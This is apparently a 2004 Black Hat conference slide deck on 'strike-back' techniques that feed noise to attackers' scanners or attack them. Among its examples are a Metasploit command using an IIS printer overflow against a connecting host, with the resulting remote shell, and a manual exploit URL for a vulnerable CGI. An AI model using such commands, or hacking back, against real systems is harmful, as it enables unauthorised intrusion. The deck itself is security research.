Agenda

- Thinking about the concept
- Introduction
- Types of defensive technology
- Raising the bar
- Typical assessment methodology
- Attacks
- Examples
- Conclusion

Black Hat Japan 2004
Thinking about the concept

We’re from South Africa:
– Robbery on Atterbury Road in Pretoria
– Electric fencing around my house

From the insect world:
– Acid bugs – “I don’t taste nice”
– Electric eel

Spy vs. spy:
– Disinformation
Introduction

Current trends in “assessment” space:
- Technology is getting smarter
- People are getting lazy
- Good “hacker” used to be technically clever
- Tool/scanner for every level of attack

Perceptions:
- Administrators are dumb, “hackers” are clever
- Skill = size of your toolbox

In many cases the mechanic’s car is always broken.
Types of defensive technology

Robbery analogy:
- Firewalls: Amour plated windows
- IDS: Police
- IPS: Driving away
- Back Hack: Carry a gun in the car

Fence analogy:
- Firewalls: Walls
- IDS: Police
- IPS: Armed response
- Back Hack: Trigger happy wife...
Raising the bar

Raising the “cost” of an “assessment”:
- Attacking the technology, not the people
- Attacking automation; “let’s move to the next target”

Used to be: “Are you sure it’s not a honey pot?”
Now:
- Is YOUR network safe?
- Are YOUR tools safe from attack?
- Do YOU have all the service packs installed?
- Do you measure yourself as you measure your targets?
Typical assessment methodology

- Foot printing
- Vitality
- Network level visibility
- Vulnerability discovery
- Vulnerability exploitation
- Web application assessment
Attacks

Types:
- Avoiding/Stopping individual attacks
- Creating noise/confusion
- Stopping/Killing the tool
- Killing the attacker’s host/network

Levels:
- Network level
- Network application level
- Application level
Attacks

Attack vectors:
All information coming back to the attacker is under OUR control:
- Packets (and all its features)
- Forward & reverse DNS entries
- Banners
- Error codes, messages
- Web pages

Our data is used:
- Where the scanner reads the data
- Where the scanner stores the data
- Where the scanner renders the data
Attacks

Disclaimer
- Legal
- Technical
Examples

Foot printing:

Avoiding
  DNS obfuscation
Noise:
  “Eat my zone!”
Stopping:
  Endless loop of forward entries
Killing:
  Eeeevil named...
Examples

Foot printing:

Tools:
Very basic – host, nslookup, dig

Domains: not a lot we can do there...

DNS entries: forward, reverse, axfr, ns

SensePost has some interesting foot printing tools...
root@wommwom:~# java jnamed jnamed.conf
jnamed: listening on 0.0.0.0:53
jnamed: running

S host -al 67.30.196.in-addr.arpa 196.30.67.73 | grep IN

1.67.30.196.in-addr.arpa. 86400 IN PTR pokkeld.sensepost.com.
100.67.30.196.in-addr.arpa. 86400 IN PTR haroon.sensepost.com
200.67.30.196.in-addr.arpa. 86400 IN PTR s.<b>test</b>.sensepost.com.
102.67.30.196.in-addr.arpa. 86400 IN PTR mh.sensepost.com

Black Hat Japan 2004
Examples

Network level:

- Avoiding Firewall
- Noise:
  - honeyd & transparent reverse proxies
  - Random IPs alive
  - Random ports open
  - Traceroute interception/misdirection
  - Fake network broadcast addresses
- Stopping:
  - ???. anyone?
- Killing:
  - nmap with banner display?? (-sV)
- Where scanners deal with DNS
Examples

Network level:

Tools:
Ping sweeps / vitality checkers
Port scanners
nmap, paketto/pulse, superscan, visualroute, some custom scripts, etc.
Report for www.google.com [66.102.7.99]

<table>
<thead>
<tr>
<th>Hop</th>
<th>IP Address</th>
<th>Node Name</th>
<th>Location</th>
<th>Tzone</th>
<th>ms</th>
<th>Graph</th>
<th>Network</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>192.168.10.100</td>
<td>womworx.com.</td>
<td>Moscow, Russia</td>
<td>+02:00</td>
<td>375</td>
<td>0</td>
<td>(private use)</td>
</tr>
<tr>
<td>1</td>
<td>212.69.109.93</td>
<td>-</td>
<td>(null)</td>
<td>-</td>
<td>343</td>
<td>1115</td>
<td>Russian Information Agency-Nov</td>
</tr>
<tr>
<td>2</td>
<td>212.122.160.33</td>
<td>leogovernment.bg</td>
<td>Montevideo, Uruguay</td>
<td>+01:00</td>
<td>226</td>
<td></td>
<td>Bulgarian Government Network</td>
</tr>
<tr>
<td>3</td>
<td>150.187.96.9</td>
<td>(null)</td>
<td>(null)</td>
<td>+10:00</td>
<td>753</td>
<td></td>
<td>Latin American and Caribbean IP</td>
</tr>
<tr>
<td>4</td>
<td>217.117.4.20</td>
<td>-</td>
<td>(null)</td>
<td>+08:00</td>
<td>369</td>
<td></td>
<td>Micro Access Technology, Abuja,</td>
</tr>
<tr>
<td>5</td>
<td>202.125.8.26</td>
<td>federal.securenet.com.au</td>
<td>Australia</td>
<td>+08:00</td>
<td>251</td>
<td></td>
<td>Securenet Limited</td>
</tr>
<tr>
<td>6</td>
<td>163.195.128.13</td>
<td>ns3.gov.za</td>
<td>(null)</td>
<td>+08:00</td>
<td>896</td>
<td></td>
<td>Cape Provincial Administration CF</td>
</tr>
<tr>
<td>7</td>
<td>202.90.128.3</td>
<td>athens.tdl.dost.gov.ph</td>
<td>(null)</td>
<td>+08:00</td>
<td>857</td>
<td></td>
<td>Department of Science and Techn</td>
</tr>
<tr>
<td>8</td>
<td>61.144.227.32</td>
<td>-</td>
<td>(null)</td>
<td>+08:00</td>
<td>857</td>
<td></td>
<td>SHENZHEN ZHANGZHUAO COMI</td>
</tr>
<tr>
<td>9</td>
<td>202.131.0.244</td>
<td>mail.mot.mn</td>
<td>(null)</td>
<td>+08:00</td>
<td>857</td>
<td></td>
<td>Data Communications Systems C</td>
</tr>
<tr>
<td>10</td>
<td>193.193.229.162</td>
<td>-</td>
<td>(null)</td>
<td>+08:00</td>
<td>857</td>
<td></td>
<td>ASTEL</td>
</tr>
</tbody>
</table>
#!/bin/perl

$WEBS=7;
$FTP=3;
$GENERIC_PORTS=20;
$GENERIC_IPS=12;
$BROADCASTS=5;

@GENERIC_PORTLIST=('','80','21','139','137','445','389','1','4217','99','1434','22','53','79','81','88','111','113','119','210','433','512','513','514','666','700','800','1433','8080','6000','6667','2049','13');

@EXCLUDELIST=('196.30.67.100:80','196.30.67.100:22','196.30.67.105:80','196.30.67.6:25','196.30.67.5:53','196.30.67.6:110');

$LISTENER_WEB='127.0.0.1';
$LISTENER_WEB_PORT='8080';
$LISTENER_FTP='127.0.0.1';
$LISTENER_FTP_PORT='2121';
$LISTENER_GENERIC='127.0.0.1';
$LISTENER GENERIC_PORT='7777';
$EXTERNAL_IP='196.30.67.18';

$RANGE_START=20;
Starting nmap 3.55 ( http://www.insecure.org/nmap/ ) at 2004-07-29 08:41 SAST
Host 192.168.192.1 appears to be up.
Host 192.168.192.19 seems to be a subnet broadcast address (returned 1 extra pings).
Host 192.168.192.23 seems to be a subnet broadcast address (returned 1 extra pings).
Host 192.168.192.30 appears to be up.
Host 192.168.192.34 seems to be a subnet broadcast address (returned 1 extra pings).
Host 192.168.192.39 appears to be up.
Host 192.168.192.50 seems to be a subnet broadcast address (returned 1 extra pings).
Host 192.168.192.59 appears to be up.
Host 192.168.192.65 seems to be a subnet broadcast address (returned 1 extra pings). Note -- the actual IP also responded.
Host 192.168.192.66 seems to be a subnet broadcast address (returned 1 extra pings). Note -- the actual IP also responded.
Host 192.168.192.67 appears to be up.
Host 192.168.192.74 appears to be up.
Host 192.168.192.77 appears to be up.
Host 192.168.192.81 appears to be up.
Host 192.168.192.92 appears to be up.
Host 192.168.192.93 appears to be up.
Host 192.168.192.96 appears to be up.
Host 192.168.192.98 seems to be a subnet broadcast address (returned 1 extra pings).
Host 192.168.192.101 seems to be a subnet broadcast address (returned 1 extra pings). Note -- the actual IP also responded.
Host 192.168.192.108 seems to be a subnet broadcast address (returned 1 extra pings). Note -- the actual IP also responded.
Host 192.168.192.119 seems to be a subnet broadcast address (returned 1 extra pings).
Host 192.168.192.132 appears to be up.
Host 192.168.192.145 seems to be a subnet broadcast address (returned 1 extra pings).
Host 192.168.192.171 appears to be up.
Host 192.168.192.175 seems to be a subnet broadcast address (returned 1 extra pings).
Host 192.168.192.176 seems to be a subnet broadcast address (returned 1 extra pings).
Host 192.168.192.177 appears to be up.
Host 192.168.192.184 appears to be up.
Host 192.168.192.185 seems to be a subnet broadcast address (returned 1 extra pings).
Host 192.168.192.202 seems to be a subnet broadcast address (returned 1 extra pings).
Host 192.168.192.222 appears to be up.
Nmap run completed -- 256 IP addresses (20 hosts up) scanned in 5,942 seconds
Examples

Network application level

Avoiding
- Patches, patches

Noise:
- Fake banners
- Combined banners (to ^ or not to ^)
- NASL (reverse) interpreter

Stopping:
- Chasing the time-outs using tarpits

Killing:
- Buffer overflows
- Rendering of data – malicious code in HTML
- Where data is inserted into databases
- Scanners that use other scanners (e.g. using nessus, nmap)
Examples

Network application level

Tools:
- Shareware: Nessus, amap, httpprint, metaspoilt
- Commercial: ISS, Retina, Typhon, Foundscan, Qualys, Cisco
Messing with SensePost you are. Owned you will become!


Name (192.168.192.66:haroon):
331 Password required for Prick.
Password:
230 User Prick logged in.
421 Service not available. remote server has closed connection

2 66:haroon):
Usage: screwTerm <port-to-listen-on> <I(nvisible)|V(isible)> "command"

[root@womwom strikeback]# java screwTerm

Listening on port 80 in -V mode

[Thu Jul 29 09:53:10 SAST 2004] Connection from 192.168.252.100
[Thu Jul 29 09:53:14 SAST 2004] Connection from 192.168.252.100

bash-2.05b$ ./msfcli iis50_printer_overflow PAYLOAD=winbind RPORT=80 RHOST=192.168.252.100 LPORT=80 echo "Starting Bind Handler."

[*] Got connection from 192.168.252.100:80

C:\\winnt\\system32> 

^[[1l:ls -al^\bash-2.05b$ l:ls -al
bash: l: command not found

C:\\winnt\\system32>

total 102

drwxr-xr-x 11 haroon wheel 512 Jul 29 11:15 .

C:\\winnt\\system32>
Examples

Application level & (web server assessment)

Avoiding

Application level firewall

Noise:
- On IPs not in use:
  • Random 404,500,302,200 responses
  • ...but not enough to trigger Nikto
  • Fooling Nessus's no 404 plugin
- Within the application
  • Bogus forms, fields
  • Pages with "ODBC connect error"
  • See Saumil Shah's PHP_Guard...

Stopping:

Spider traps, Human/browser detectors

Killing:
- "You are an idiot!" and other malicious HTML code
- Bait files.. Admintool.exe and friends in /files, /admin
Examples

Tools:
- Shareware: Nikto, Nessus, Whisker?, WebScarab, Exodus, Pharos, Spike, Httrack, Teleport pro

Commercial: Sanctum Appscan, Cenzic Hailstorm, Kavado Scando, SPI Dynamics WebInspect, @stake webproxy
Vulnerabilities:

192.168.192.164
http [80/tcp]  

192.168.192.164
http [80/tcp]  

192.168.192.164
http [80/tcp]  

192.168.192.164
http [80/tcp]  

192.168.192.164
http [80/tcp]  

192.168.192.164
http [80/tcp]  

192.168.192.164
http [80/tcp]  

192.168.192.164
http [80/tcp]  

192.168.192.164
http [80/tcp]  

Plugin information

Plugin ID: 11731
VsSetCookie.exe vulnerability

Description:
The file VsSetCookie.exe exists on this webserver. Some versions of this file are vulnerable to remote exploit.

Solution: remove it from /cgi-bin.
To manually test the server, you can try:
http://<serverip>/cgi-bin/VsSetCookie.exe?vsuser=<user_name>

With a correctly guessed User Name, you will gain full access to the CGI.

*** As Nessus solely relied on the banner of the remote host
*** this might be a false positive

Risk factor: Serious
CVE: CAN-2002-0236
BID: 3784
Examples

you are an idiot
Armpits – defending against automation

- The story so far..
- Operates on network level
- Acts as a proxy – typically on firewall
- Low overhead
- Uses Flash to create session IDs
- Uses cookies to track sessions
- Can be integrated with IPS
### Requested URLs

- http://196.30.67.30/
- http://196.30.67.30/p=123456789999999
- http://196.30.67.30/reroute.swf
- http://196.30.67.30/

### Header Parameters

<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accept</td>
<td>image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/x-shockwave-flash, text/html, application/octet-stream, <em>/</em></td>
</tr>
<tr>
<td>Accept-Language</td>
<td>en-us</td>
</tr>
<tr>
<td>Cookie</td>
<td>poef=waysecret</td>
</tr>
<tr>
<td>Host</td>
<td>196.30.67.30</td>
</tr>
<tr>
<td>User-Agent</td>
<td>Mozilla4.0 (compatible; MSIE 6.0; Windows NT 5.1)</td>
</tr>
<tr>
<td>Connection</td>
<td>close</td>
</tr>
</tbody>
</table>
You are naughty

I will blacklist your Cookie

Examples

Content level

- Throwing bait to listeners
- Echelon type noise in email signatures
- Fake email addresses/conversations
- Traffic that bites back
Conclusion

- These techniques do not make your network safer?
- IPS is getting smarter
  - The closer to the application level they go, the more accurate they become.

- You should worry when administrators start thinking like hackers...